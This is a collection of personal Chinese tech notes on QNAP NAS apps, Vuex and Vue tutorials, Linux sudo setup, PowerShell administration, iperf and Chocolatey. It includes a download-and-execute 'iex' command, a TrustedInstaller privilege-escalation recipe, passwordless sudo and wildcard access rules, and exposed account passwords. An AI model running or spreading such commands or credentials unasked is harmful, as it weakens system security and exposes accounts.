### 3.照片管理软件——Photo Station
通过Photo Station可以将分散在多个终端设备的照片汇集到一起进行管理、编辑与分享。用户可以根据拍照时间的先后顺序来浏览相片,或是通过自行建立相簿的方式来浏览相片。此外,还可以通过播放投影片的方式,自动逐张播放过往的欢乐回忆。
Photo Station还提供了照片分享功能,选择想要分享的数码照片或者家庭影片,就可以通过超链接的方式分享到微博等社交媒体。
与Photo Station配套的手机客户端APP为Qphoto,功能上与Photo Station基本相同。不同之处是Qphoto还具有即拍即传的功能,随时将拍摄的照片或者视频上传到NAS。
### 4. 音乐管理软件——Music Station
在威联通NAS之中,Music Station是用来集中存放与管理音乐的软件,界面和常见的网络播放器很接近。支持多种歌曲检视与管理界面,包含了演唱者、专辑、类型等各种不同的方式。除了自己享受之外,还可以通过一键分享功能推荐给自己的亲朋好友。
手机端的Qmusic同样具有Music Station所有的功能,支持在线欣赏NAS中存储的音乐,也能将喜欢的歌曲通过社交媒体分享给他人。此外,还可以通过投屏的方式,将音乐通过局域网内的流媒体播放器进行播放。
### 5.视频管理软件——Video Station
Video Station是威联通NAS中用于视频管理的软件,可以管理NAS中集中存储的各种视频,包括电影、电视剧、家庭影片和音乐影片。首次进入Video Station需要先进行视频文件夹设定,在“设置”选项中将需要加载的影片分类放入Video Station。
Video Station还支持电影海报墙,对于新加入的影片,系统并自动匹配电影海报、简介文字等信息。
播放功能方面,Video Station不仅支持多种视频格式、自动匹配字幕,还支持360°全景视频播放。Video Station还可以进行实时格式转换播放,这样就可以避免某些移动终端因为原始影片码率太高而无法播放的尴尬了。
与Video Station配套的手机客户端APP为Qvideo,功能上与Video Station基本无异。也支持电影海报墙功能,也能进行实时格式转换播放,也可以将喜欢的影片通过链接分享出去。
### 6.下载工具——Download Station(下载帮手)
利用QTS中自带的“Download Station(下载帮手)”软件,可以轻松下载所需要的文件资料,你完全不用打开电脑去做这些事情,更节能、更环保。
目前,Download Station支持 HTTP、FTP 、BitTorrent 与磁力链接下载,还可以设定下载任务数量及限定上传和下载的速度。首次使用这项功能,需要先预设一个下载地址。

也可以利用手机端的Qget安排下载任务,用起来还是相当顺手的。
<file_sep>## 知识点
+ 全局状态管理
+ vuex 在项目中的使用
## vuex 核心概念
在之前的实验中,我有介绍过 vuex 的基本概念,将它比作一个中央仓库,存储着全部组件的全部共享状态。本节将继续深入学习 vuex 的核心概念,了解它是如何管理这些状态。
每一个 Vuex 应用的核心就是 store(仓库)。"store" 基本上就是一个容器,它包含着你的应用中大部分的 __状态(state)__ 。Vuex 和单纯的全局对象有以下两点不同:
+ Vuex 的状态存储是响应式的。当 Vue 组件从 store 中读取状态的时候,若 store 中的状态发生变化,那么相应的组件也会相应地得到高效更新。
+ 你不能直接改变 store 中的状态。改变 store 中的状态的唯一途径就是显式地 __提交(commit) mutations__。这样使得我们可以方便地跟踪每一个状态的变化,从而让我们能够使用一些工具帮助我们更好地了解我们的应用。
创建一个简单的 store 实例化对象:
```js
const store = new Vuex.Store({
state: {
count: 99
},
mutations: {
add (state) {
state.count++
}
}
})
```
Vuex 的核心核心概念主要包括: `State`,`Mutations`,`Actions`。
## State 数据源
如官方所介绍,Vuex 使用单一状态树,即使用一个对象就可以包含全部的应用层级状态,每个组件内部仅需使用 store 的一个示例,就可共享和操作全局的状态。而 state 就是 store 存放状态的对象。考虑到项目中组件较多,如果每个组件内部都采用实例化 store 示例,将是比较繁琐的工作。因此,vuex 提供了可以从根组件直接注入的方式,其下全部子组件会自动注入 store 示例,可以在各个组件内部直接访问:`this.$store.state.xxx`。
Store 对象是全局状态的数据源,而 state 则是数据源中,保存数据的那一部分。
在组件中获取 store 实例中 state 状态数据,最简单的方式是通过计算属性来获取:
```html
// 子组件
<template>
<div> {{ count }} </div>
</template>
<script>
export default {
name: 'hello',
data () {
return {
msg: 'Welcome to Your Vue.js App'
}
},
computed: {
count: function() {
return this.$store.state.count
}
}
}
</script>
```
在任何子组件中,都可通过这种方式获得 state 中存储的 count 的值,因为 vue 双向数据绑定的特性,一处改变,处处改变,同时触发 DOM 更新,页面也能及时展示最新数据。前提是在根组件中注入了 store 实例对象,后文会告诉你如何注入。
虽然理论上可以将任何数据放在 vuex 中,但是为了使状态更加显式和代码更容易调试,建议你尽量只把需要共享的数据使用 vuex 管理。
## Mutations 变更
在 vuex 中,想要更改 store 中数据状态的唯一方式是通过提交 mutation。mutation 与事件类似,每个 mutation 包含了事件类型,和一个回调函数。真正执行状态变更的操作就是在这个回调函数中进行,它的第一个参数一般是一个 state ,即上文中提到的 state 数据源。
```js
const store = new Vuex.Store({
state: {
count: 1
},
mutations: {
increment (state) {
// 变更状态
state.count++
}
}
})
```
想要提交一个类型为 `increment` 的 mutation ,需要使用 `store.commit('increment')` 这种方式来使 store 中状态做变更。在提交 `mutation` 时,还可以传入额外的参数,被称为 `载荷`。一般来说,载荷是一个对象,可以一次传入多个数据,在 mutation 中可以提取出来再操作。
```js
mutations: {
increment (state, payload) {
// 变更状态
state.count += payload.number
state.name += payload.name
}
}
/*......*/
store.commit('increment', {
number: 1,
name: 'add'
})
```
>注意:在一个 mutation 中,回调函数必须是同步函数,因为在回调函数中进行的状态更改是不可被追踪的。
为了使 mutations 可以看起来一目了然,我们往往将 mutation 的事件类型声明为常量,使用方法如下:
```js
// mutation-types.js
export const INCREMENT = 'INCREMENT'
// store.js
import { INCREMENT } from './mutation-types'
const store = new Vuex.Store({
state: { ... },
mutations: {
// 我们可以使用 ES2015 风格的计算属性命名功能来使用一个常量作为函数名
[INCREMENT] (state) {
// mutate state
}
}
})
```
将所有常量存放在单独的文件中,便于管理和查看。在我们的项目中,也将采用这种方式来声明 mutation 事件类型。
## Action 动作
其实官方文档也没有说这个 Action 的中文是什么,我这里称为动作可能不太严谨,大家可以了解它的作用后再理解它的含义。
前面说过,我们想要更改 store 的数据,只能通过 commit 的方式提交一个对应的 mutation,在具体的 mutation 中,可以接受 state 和 payload 两个参数,然后修改 state 的数据。但是 mutation 中的回调函数必须是同步函数,即不可包含异步操作。
Action 与 mutation 类似,但是它具有以下两个特点:
+ Action 提交的是 mutation,而不是直接变更状态
+ Action 中可以包含任意的异步操作
Action 的使用方式同 mutation 类似:
```js
const store = new Vuex.Store({
state: {
count: 0
},
mutations: {
increment (state) {
state.count++
}
},
actions: {
increment (context) {
context.commit('increment')
}
}
})
```
上面的代码,可能很容易看出 action 是如何调用 mutation 。一个 action 就是一个函数,它的第一个参数接受一个与 store 实例具有相同方法和属性的 context 对象,所以当调用 `context.commit('increment')`时,其实作用与 `store.commit('increment')` 作用是相同的。如果你对 ES6 有一定的了解,知道解构这个概念,那么我们就可以利用参数解构的方式,简写为如下形式:
```js
actions: {
//使用参数解构
increment ({ commit }) {
commit('increment')
}
}
```
那么如何在组件中使用呢?答案是 `store.dispatch('name')` 。比如在我们的单文件组件内部,你可以这样使用:
```js
this.$store.dispatch('increment')
```
这样做叫做分发 `action` ,再通过 `action` 去提交 `mutation`,最后在 `mutation` 中修改 `store` 中的状态。
>为什么需要使用分发 action 提交 mutation,而不是直接分发 mutation 直接修改?
>+ 原因是因为二者最大的一个区别是:`mutation` 回调函数中,不能包含异步操作,所有代码都必须是同步的。而在 `action` 的函数中,可以包含异步操作,在异步操作完成之后,再去提交 mutation 执行同步操作,这样就可以弥补 mutation 的缺点。
```js
actions: {
asyncAction ({ commit }) {
//执行异步操作
$.post('url', function(data) {
if(data.status == 'success') {
//异步操作完成后提交 mutation
commit('increment')
}
})
}
}
```
在分发 action 的同时,也可以传入载荷(payload),同提交 mutation 类似。
```js
// payload = { number: 1, name: 'shiyanlou'}
this.$store.dispatch('increment', payload)
```
<file_sep> <EMAIL>
e2021@WX!
账户类型:POP3
接收邮件服务器:pophz.qiye.163.com
发送邮件服务器: smtphz.qiye.163.com
接收服务器 端口 995, 要求加密连接 SSL
发送服务器 端口 994,加密类型 SSL
我的发送服务器SMTP要求验证,使用和接收邮件服务器相同的设置<file_sep>## root pass
```shell
# set root pass
sudo passwd
su root
```
## 用户管理
### add user
```bash
sudo adduser vicky
```
#### sudo
```bash
sudo usermod -a -G adm vicky
sudo usermod -a -G sudo vicky
```
### del user
```bash
# 删除用户及相关文件
sudo userdel -r vicky
# 删除用户,不删除文件
sudo userdel vicky
```
### list user
```bash
awk -F: '{ print $1}' /etc/passwd
```
## sudo 免密
### 1. `/etc/sudoers`
```bash
sudo visudo
# 文件末尾添加
username ALL=NOPASSWD:ALL
```
or
```bash
sudo vi /etc/sudoers
root ALL=(ALL:ALL)ALL,
# 添加
username ALL=(ALL:ALL)ALL
# OR
username ALL=(ALL:ALL) NOPASSWD: ALL
vicky ALL=NOPASSWD:ALL
```
2. server 版本
```bash
sudo visudo
# 所有sudo指令免密
%sudo ALL=(ALL:ALL) NOPASSWD: ALL
```
<file_sep>+ ui framework https://github.com/YYC572652645/QCoolPage
+ [How to make Icon in QMenu larger (PyQt)?](https://stackoverflow.com/questions/39396707/how-to-make-icon-in-qmenu-larger-pyqt)
+ [How to make Icon in QMenu larger (PyQt)?](https://stackoverflow.com/questions/39396707/how-to-make-icon-in-qmenu-larger-pyqt)<file_sep>+ https://powershell.org/
+ https://www.youtube.com/watch?v=UVUd9_k9C6A
## common command
1. `set-location`
2. `get-childitem`
3. `clear-host`
4. `cd\`
5. `get-alias` - `gal`
1. `gal pwd`
2. `gal g*`
3. `get-alias -Definition get-process`
6. `ipconfig /all`
7. service
1. `gsv` - `get-service`
2. `sasv` - `start-service`
3. `spsv` - `stop-service`
## Help
1. `update-help`
1. `update-help -Force`
2. `get-help`
1. `get-help get-service`
2. `help get-service`
3. `man get-service`
3. `get-help *service*`
1. `get-help g*service*`
2. `get-help get-service -detailed`
3. `get-help get-service -examples`
4. `get-help get-service -full`
5. `get-help get-service -online`
6. `get-help get-service -showwindow`
4. `get-verb | measure`
5. `get-help *eventlog*`
+ `get-service vmi*`
+ `get-service -displayname *network*`
+ `get-service -Name bits, bfe`
## pipeline
`get-service | select-object name, status | sort-object name`
```shell
get-service -name bits
stop-service -name bits
get-service -name bits | stop-service
get-service -name bits | start-service -passthru
get-service | export-csv -Path d:\test\service.csv
import-csv d:\test\service.csv
get-service | export-clixml -Path d:\test\service.xml
```
compare examples
```shell
get-process | export-clixml -Path d:\test\good.xml
notepad
calc
compare-object -ReferenceObject (import-clixml d:\test\good.xml) -DifferenceObject (get-process) -Property name
```
out put
```shell
get-service | out-file -filepath d:\test\somefile.txt
get-content d:\test\somefile.txt
```
convert
```shell
get-service | ConvertTo-Csv
get-service | ConvertTo-html -property name, status | out-file d:\test\services.html
```
whatif
```shell
stop-service bits -whatif
stop-service bits -confirm
```
## Extending the shell
`mmc`
```shell
# currently loaded module
Get-Module
Get-Module -ListAvailable
```
## Object for the Admin
```shell
get-process | where Handles -gt 900
get-process | where Handles -gt 900 | sort Handles
Get-Service -name bits | Get-Member
Get-Service -name bits | gm
Get-ChildItem | select -Property name, length | sort length
Get-ChildItem | select -Property name, length | sort -Property length
Get-ChildItem | select -Property name, length | sort length -Descending
Get-EventLog -LogName System -Newest 5 | gm
Get-EventLog -LogName System -Newest 5 | select -Property EventID, TimeWritten, Message
```
### practice
```shell
$x =[xml](cat D:\test\service.xml)
$x.GetType()
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False XmlDocument System.Xml.XmlNode
$x.Objs.Obj
RefId : 2746
TNRef : TNRef
ToString : XblAuthManager
Props : Props
MS : MS
RefId : 2757
TNRef : TNRef
ToString : XblGameSave
Props : Props
MS : MS
RefId : 2769
TNRef : TNRef
ToString : XboxGipSvc
Props : Props
MS : MS
RefId : 2775
TNRef : TNRef
ToString : XboxNetApiSvc
Props : Props
MS : MS
```
```shell
$x.Objs.Obj[10]
RefId : 92
TNRef : TNRef
ToString : aspnet_state
Props : Props
MS : MS
```
```shell
Get-History
# v2
Get-Service | where {$_.status -eq "running"}
# from V3
Get-Service | where {$PSItem.status -eq "running"}
Get-Service | where {$PSItem.status -eq "running" -and $_.name -like "b*"}
```
```shell
get-process | where {$_.handles -gt 1000}
get-process | where handles -gt 1000
```
## deep in pipeline
how pipeline work
1. by value
2. by property name
3. what if property doesn't work, customize it
4. the parenthetical - when all else fail
```shell
calc
get-process Calculator | dir
目录: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2103.8.0_x64__8wekyb3d8bbwe
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2021/5/7 10:35 5013504 Calculator.exe
```
服务器
```shell
get-adcomputer
# hack
get-adcomputer -filter * | select -Property name, @{name='ComputerName';expression={$_.name}}
get-adcomputer -filter * | select -Property name, @{n='ComputerName';e={$_.name}}
get-adcomputer -filter * | select -Property name, @{label='ComputerName';e={$_.name}}
get-adcomputer -filter * | select -Property name, @{l='ComputerName';e={$_.name}}
get-adcomputer -filter * | select -Property @{l='ComputerName';e={$_.name}}
get-adcomputer -filter * | select -Property @{l='ComputerName';e={$_.name}} | get-service -name bits
```
BIOS
```shell
Get-WmiObject -Class win32_bios
SMBIOSBIOSVersion : RMRCM400P0904
Manufacturer : TIMI
Name : RMRCM400P0904
SerialNumber : 28596/00005150
Version : XMCC - 2
Get-WmiObject -Class win32_bios -ComputerName XXX,XXX,xxx
# V2
Get-WmiObject -Class win32_bios -ComputerName (get-adcomputer -filter * | select -ExpandProperty name)
# V3
Get-WmiObject -Class win32_bios -ComputerName (get-adcomputer -filter *).name
# not work
get-adcomputer -filter * | Get-WmiObject -Class win32_bios
# work
get-adcomputer -filter * | Get-WmiObject -Class win32_bios -ComputerName {$_.Name}
# new
Get-CimInstance
# old
Get-WmiObject
Get-CimInstance -Class win32_bios
```
## Remoting
```shell
Enter-PSSession server1
Enable-PSRemoting
# 由于此计算机上的网络连接类型之一设置为公用,因此 WinRM 防火墙例外将不运行。 将网络连接类型更改为域或专用,然后再次尝试。
```
+ Group Policy Management Editor
+ Windows Remote Management(WinRM)
+ WinRM Service - enable
```shell
Enter-PSSession -ComputerName server1
Get-EventLog -LogName System -New 3
# not remoting
Invoke-Command -ComputerName XX {Get-EventLog -LogName System -New 3}
```
only server
```shell
Get-Windowsfeature
Install-WindowsFeature windowspowershellwebAccess
get-help *pswa*
```
trick 仅演示
web 访问
```shell
Add-PswaAuthorizationRule * * *
#退出机器
start iexplore https://pwa/pswa
```
remoting 传递对象,有利于pipeline 进一步处理
```shell
invoke-command -ComputerName cc,xx,aa {Get-EventLog -LogName System -Newest 3} | sort timewritten | format-table -Property timewritten, message -AutoSize
invoke-command
icm
```
```shell
icm xx,xxx {Get-Volume} | sort SizeRemaining
```
## Automation
+ security goals
+ Execution Policy
+ Variables: a place to store stuff
+ Fun with Quotes
+ Getting and displaying input
+ Other output for scripts and automation
### 1. security goal
+ secured by default
+ prevents mistakes by unintentional admins and users
+ no script execution
+ .ps1 associated with notepad
+ must type path to execute a script
### 2. Execution Policy
+ by default, powershell does not run scripts
+ get/set-executionpolicy
+ restricted
+ unrestricted
+ allsigned
+ remoteSigned
+ bypass
+ undefined
+ can be set with group policy
```shell
New-SelfSignedCertificate
Get-PSDrive
dir cert:\
dir Cert:\CurrentUser
dir Cert:\CurrentUser -Recurse
dir Cert:\CurrentUser -Recurse -CodeSigningCert
dir Cert:\CurrentUser -Recurse -CodeSigningCert -OutVariable a
$a
$cert = $a[0]
Get-ExecutionPolicy
RemoteSigned
Set-ExecutionPolicy AllSigned
Set-AuthenticodeSignature -Certificate $cert -FilePath .\test.ps1
```
变量
```shell
$myvar = get-service bits
$myvar.status
Stopped
$myvar.start()
$myvar.status
Stopped
$myvar.refresh()
$myvar.status
Running
```
```shell
$var = read-host "enter a computer name"
write-host $var -ForegroundColor red -BackgroundColor green
```
> write-host 不会给pipeline 输入
>
> write-output 可以给pipeline输入
```shell
write-warning "please don't do it!"
write-error "please don't do it!"
```
```shell
${ this is a test } = 4
${ this is a test }
4
1..5
1
2
3
4
5
${some file path}
```
## Automation in scale - remoting
```shell
$session = New-PSSession -ComputerName dc
Get-PSSession
icm -Session $sessions {$var=2}
icm -Session $sessions {$var}
measure-command {icm -ComputerName dc {Get-Process}}
```
```shell
$servers = 's1', 's2'
$servers | foreach{start iexplorer http://$_}
$s = New-PSSession -ComputerName $servers
icm -Session $s {Install-windowsFeature web-server}
$servers | foreach{start iexplorer http://$_}
$servers | foreach {copy-item d:\default.html -Destination \\$_\c$\inetpub\wwwroot}
$servers | foreach{start iexplorer http://$_}
```
```shell
$s = New-PSSession -ComputerName dc
# something like proxy
Import-PSSession -Session $s -Module ActiveDirectory -Prefix remote
Get-RemoteADComputer -filter *
```
## Tools
ISE
```shell
Get-WmiObject win32_logicaldisk
Get-WmiObject win32_logicaldisk -Filter "DeviceId='C:'"
# Ctrl+Space 联想
Get-CimInstance Win32_LogicalDisk
Get-WmiObject win32_logicaldisk -Filter "DeviceId='C:'"| select @{n='freegb';e={$_.freespace /1gb}}
Get-WmiObject win32_logicaldisk -Filter "DeviceId='C:'"| select @{n='freegb';e={$_.freespace /1gb -as [int]}}
```
```powershell
<#
.Synopsis
short Explation
.Description
long Explation
.Parameter ComputerName
for remote computer
.Example
abc -computername remote
this is for a remote computer
#>
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[string]$ComputerName='localhost'
)
Get-WmiObject -computername $ComputerName -class win32_logicaldisk -Filter "DeviceId='C:'"
```
ISE 环境 `Ctl+J`
```powershell
function Get-abc{
[CmdletBinding()]
param(
[Parameter(Mandatory=$True)]
[string]$ComputerName='localhost'
)
Get-WmiObject -computername $ComputerName -class win32_logicaldisk -Filter "DeviceId='C:'"
}
```
```powershell
# load script
. .\scriptpath.ps1
-OutVariable $somevar
```
### module
+ `filename.psm1`
```powershell
Import-Module .\filename.psm1
Import-Module .\filename.psm1 -Force -Verbose
```
系统路径
```powershell
cat Env:\PSModulePath
$env:PSModulePath
$env:PSModulePath -split ";"
D:\vicky\Documents\WindowsPowerShell\Modules
C:\Program Files\WindowsPowerShell\Modules
C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
C:\Program Files\WindowsPowerShell\Modules\
C:\Program Files (x86)\Microsoft SDKs\Azure\PowerShell\ResourceManager\AzureResourceManager\
C:\Program Files (x86)\Microsoft SDKs\Azure\PowerShell\ServiceManagement\
C:\Program Files (x86)\Microsoft SDKs\Azure\PowerShell\Storage\
# 用户路径
D:\vicky\Documents\WindowsPowerShell\Modules
# 系统路径
C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
```
```powershell
Import-Module diskinfo
Remove-Module diskinfo
```
<file_sep>+ [How to Build FriendlyWrt/zh](https://wiki.friendlyarm.com/wiki/index.php/How_to_Build_FriendlyWrt/zh)
+ [OpenClash](https://github.com/vernesong/OpenClash)
+
<file_sep>## 事件处理
在平常开发中,对 DOM 的操作很常见,然而 Vue 中是虚拟 DOM 不太提倡直接进行原生 DOM 操作,降低性能。在 Vue 中可以使用 `v-on` 指令来操作 DOM 事件。
知识点
+ 事件绑定指令 v-on
+ 事件处理方法
+ 内联方法
+ 修饰符
## v-on
事件监听处理方法
许多事件处理逻辑会更为复杂,所以直接把 JavaScript 代码写在 v-on 指令中是不可行的。因此 v-on 还可以接收一个需要调用的方法名称。该方法写在 methods 对象中。
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>syl-vue-test</title>
<!-- 引入 vue.js -->
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
</head>
<body>
<div id="app">
<!-- 绑定点击监听 -->
<button v-on:click="say">点击</button>
</div>
<script>
var app = new Vue({
el: "#app",
data: {
counter: 0,
},
methods: {
//声明事件点击监听 say方法
say: function (event) {
//监听事件回调处理 event.type 触发事件类型 说明:`${}`为es6模板字符串,拼接字符串的
alert(`小楼提醒:你触发了${event.type}事件`);
},
},
});
</script>
</body>
</html>
```
### 内联处理器的方法
不同元素触发同一事件或不同事件,调用同用一个方法。
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>syl-vue-test</title>
<!-- 引入 vue.js -->
<script src="https://labfile.oss.aliyuncs.com/courses/1262/vue.min.js"></script>
</head>
<body>
<div id="app">
<!-- 绑定点击监听 共用say 方法-->
<button v-on:click="say('实验楼')">实验楼</button>
<button v-on:click="say('小楼')">小楼</button>
</div>
<script>
var app = new Vue({
el: "#app",
data: {},
methods: {
//声明事件点击监听 say方法
say: function (name) {
alert(`我是${name}`);
},
},
});
</script>
</body>
</html>
```
### 事件修饰符
在事件处理程序中调用 event.preventDefault() 或 `event.stopPropagation()` 是非常常见的需求,阻止事件冒泡或捕获或者事件默认行为。尽管我们可以在方法中轻松实现这点,但更好的方式是:方法只有纯粹的数据逻辑,而不是去处理 DOM 事件细节。
为了解决这个问题,Vue.js 为 v-on 提供了 事件修饰符。之前提过,修饰符是由点开头的指令后缀来表示的。
+ `.stop`(阻止单击事件继续传播)
+ `.prevent`(阻止事件默认行为)
+ .`capture`(添加事件监听器时使用事件捕获模式)
+ `.self`(只当在 event.target 是当前元素自身时触发处理函数 )
+ `.once`(点击事件将只会触发一次)
+ `.passive`(滚动事件的默认行为 (即滚动行为) 将会立即触发 )
### 按键修饰符
在监听键盘事件时,我们经常需要检查详细的按键。Vue 允许为 v-on 在监听键盘事件时添加按键修饰符:
+ `.enter`
+ `.tab`
+ `.delete` (捕获“删除”和“退格”键)
+ `.esc`
+ `.space`
+ `.up`
+ `.down`
+ `.left`
+ `.right`
### 键码 keycode
使用 keyCode 特征,了解更多键码:
| | |
|-|-|
|按键|键码|
|Enter|13|
Shift|16
Alt|18
Spacebar|32
Page Up|33
Page Down|34
### 系统修饰符
系统特定的组合功能键,如 `ctrl+c` 、`ctrl+v` 。
可以用如下修饰符来实现仅在按下相应按键时才触发鼠标或键盘事件的监听器。
+ `.ctrl`
+ `.alt`
+ `.shift`
+ `.meta`
>说明:在 Mac 系统键盘上,meta 对应 command 键 (⌘)。在 Windows 系统键盘 meta 对应 Windows 徽标键 (⊞)。在 Sun 操作系统键盘上,meta 对应实心宝石键 (◆)。在其他特定键盘上,尤其在 MIT 和 Lisp 机器的键盘、以及其后继产品,比如 Knight 键盘、space-cadet 键盘,meta 被标记为“META”。在 Symbolics 键盘上,meta 被标记为“META”或者“Meta”。
### `.exact`
`.exact` 精确按键修饰符,允许你控制由精确的系统修饰符组合触发的事件。
###
鼠标按钮修饰符
这些修饰符会限制处理函数仅响应特定的鼠标按钮。
+ `.left`
+ `.right`
+ `.middle`
<file_sep>C:\Windows\servicing\TrustedInstaller.exe
右键,属性, 安全, 编辑, TrustedInstaller,下面把完全控制打勾。
管理员权限运行powershell
```powershell
# 下载
Save-Module -Name NtObjectManager -Path c:\token
Y
#
Install-Module -Name NtObjectManager
A
Set-ExecutionPolicy Unrestricted
# 导入 NtObjectManager 模块
Import-Module NtObjectManager
```
## 开始正式获得 Trustedinstaller 权限
```powershell
sc.exe startTrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p=Get-NtProcess -Name TrustedInstaller.exe
$proc=New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
```
接下来系统会打开一个命令提示符,该命令提示符就具有 Trustedinstaller 权限,可以直接修改系统文件。我们可以通过:
```powershell
whoami /groups /fo list
```
可以看到我们已经获得 Trustedinstaller 权限了,现在就可以通过一些命令修改系统文件了。如果想要更加方便操作,可以通过此 CMD 运行 taskmgr、notepad 等应用,在运行新任务、打开文件的浏览窗口下,进行文件编辑。编辑结束后直接关闭即可。
> 不要使用 CMD 运行 explorer,因为 explorer 无法在当前用户下正常使用。在这之后如果,想要重新获得 Trustedinstaller 权限重新执行以下命令即可:
>
> ```powershell
> sc.exe startTrustedInstaller
> Set-NtTokenPrivilege SeDebugPrivilege
> $p=Get-NtProcess -Name TrustedInstaller.exe
> $proc=New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
> ```
>
>
<file_sep>## 实验介绍
基于 Vue.js 开发的,同时将会配合 Vuex 进行全局状态管理。
## 环境
```
wget https://labfile.oss.aliyuncs.com/courses/1391/syl-editor-init.zip #初始化源码
unzip syl-editor-init.zip #解压
wget https://labfile.oss.aliyuncs.com/courses/1391/syl-editor.zip #最终源码
unzip syl-editor.zip #解压
```
### 安装依赖
```
cd syl-editor
npm install
```
### 配置
我们已经使用 vue-cli 搭建好了项目的总体框架。我们的项目是实现一个富文本编辑器,我们需要为这个编辑器做一些参数上的配置。从现在开始,包括后面的实验编码部分,都是在 src/ 目录下进行。
首先,在 `src/` 目录下新建一个 `config` 目录,用于存放编辑器配置文件。然后在 config 目录下,新建三个文件:index.js、lang.js 、 menu.js 。
#### 菜单项配置
menu.js 是菜单的配置文件,不过不是指菜单栏,而是指每一项菜单项。每一个菜单项的配置内容包括这项的类名:`className`,图标:`icon`,它的行为:`action`,是否存在下拉菜单:`dropList`,以及是否展示状态:`showStatus`。这样做的原因是可以尽量只配置单项的基础属性。
`showStatus` 的作用是,点击了这个选项之后,该选项是否展示为 active 状态,下面两张图是例子:
<file_sep>
+ https://iperf.fr/iperf-download.php
+ https://zhuanlan.zhihu.com/p/137958252
不要点 exe 运行(实际点了也不会有任何效果),而是在程序文件所在的文件夹空白处,按住键盘的 shift 键,同时单击鼠标右键,选择在此处打开 PowerShell 窗口,也就是命令行窗口,要注意的是由于 PowerShell 的安全限制,命令前面要加上`.\`,也就是变成:
```text
.\iperf3 -s
```
后面跟的附加参数之类都是一样的用法,不再赘述。不过个人感觉是 windows 主机作为服务端效率似乎不高,更推荐 linux 作为服务端。
搭完了服务端,最后就是用客户端来测速了,其实区别就是输的指令不同,客户端最简单的测速指令就是输入:
```text
iperf3 -c 192.168.2.165
```
默认是客户端发送,服务器端接收。也可以反过来,让服务器端发送,客户端接收,那就是后面跟随`-R` 参数,注意 R 要大写:
```text
iperf3 -c 192.168.2.165 -R
```
默认单线程压力可能会不够,可以加`-P` 参数指定多线程,注意是大写的 P,一般可以设定 5-10 线程:
```text
iperf3 -c 192.168.2.165 -P 5
```
客户端默认只会显示发送的成绩,接收的成绩在服务器端那边显示,显然看起来不方便,于是还可以跟随`--get-server-output`参数,让客户端显示服务器端的信息:
```text
iperf3 -c 192.168.2.165 --get-server-output
```
最后再来说一下无线速率测试,也就是移动端 app 的使用,支持 iperf 的 app 有很多,我个人一般使用的是 `he.net - Network Tools` 这一款软件,安卓和 IOS 平台都支持,官网为 [http://networktools.he.net/](https://link.zhihu.com/?target=http%3A//networktools.he.net/)。
实际这是一个测试网络的综合型工具,里头各种功能都有,iperf 只不过是其中一项。软件的用法也很简单,菜单列表里直接选择 iperf3。
秒表图表是设定数据汇报时间,也就是每隔 N 秒显示一次速率数据。
第二个芯片图标是设定测试数据包大小,单位可以是 K 或者 M,10G 数据包就可以直接填 10240M。
最后输入服务器端的 ip 即可进行测试:
**特别要注意的是无线网络的速率是会有损耗的**,不是握手显示多少速率就能跑多少。比如上图是两个手机不同的握手速率,分别为 433Mbps 和 1733Mbps,并不代表就能跑到这么高的速率。
实际能跑到的峰值速度一般是 WiFi 握手速率的 70% 左右,也就是手机单天线 433Mbps 实际能跑到 300Mbps 就算是到顶了,双天线 866Mbps 一般是 600Mbps 就封顶了。
**最后还要说的是测速一概仅供参考,不要盲目迷信测速结果,认为测速成绩没跑满就是设备或路由有问题。**<file_sep>## ts-428
+ name: NAS0C24C8
+ user : admin
+ pwd:
+ <PASSWORD>
+ NTP: ntp1.aliyun.com
+ DNS: 192.168.127.12, 172.16.31.10
admin: `5<PASSWORD>[5jZP`
```shell
md5sum filename
sha1sum filename
sha256sum filename > filename.sha256sum
grep filename filename.sha256sum | sha256sum -c
```
<file_sep># vuex 项目实战
本节内容将以我们的项目为基础,配置和编写适用于我们项目的 Vuex ,来管理整个项目的状态。
首先,需要先安装 `vuex`。通过 vue-cli 安装的项目并没有安装 vuex ,所以需要自己手动安装。
```
npm install vuex --save
cnpm install vuex --save
```
安装完成之后,就可以开始使用 vuex 了。在 `syl-editor/src` 中创建 `/store` 文件夹,并创建 js 文件 action.js , index.js , mutations-types.js , mutations.js。
## Action 文件
即图中的 action.js 。里面存放着各个 action,每个 action 都对应着一个 mutation。我先贴出源码,再讲解:
```js
export default {
//展示下拉框
showDropList({ commit }, data) {
commit('SHOW_DROP_LIST', data)
},
//更新编辑区内容
updateContent({ commit }, data) {
commit('UPDATE_CONTENT', data)
},
//更新选择的值
updateSelectValue({ commit }, data) {
commit('UPDATE_SELECTED_VALUE', data)
},
//更新菜单状态
updateMenuStatus({ commit }, data) {
commit('UPDATE_MENU_STATUS', data)
},
//执行命令
execCommand({ commit }, data) {
commit('EXEC_COMMAND', data)
},
//获取节点位置
getNodePosition({ commit }, data) {
commit('NODE_POSITION', data)
},
//切换视图
changeView({ commit }, data) {
commit('CHANGE_VIEW', data)
}
}
```
<file_sep>## [官网](https://chocolatey.org/install)
管理员
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
```
## 常用包
```powershell
choco install -y 7zip.install adobereader notepadplusplus.install
choco install 7zip.install -y
choco install adobereader -y
choco install notepadplusplus.install -y
choco install googlechrome -y
choco install firefox -y
choco install everything -y
choco install everything.portable -y
choco install everythingtoolbar -y
choco install vscode -y
choco install python3 -y
choco install git.install -y
choco install typora -y
choco info tim -y
# Microsoft Visual C++ Redistributable for Visual Studio 2015-2019 14.29.30040
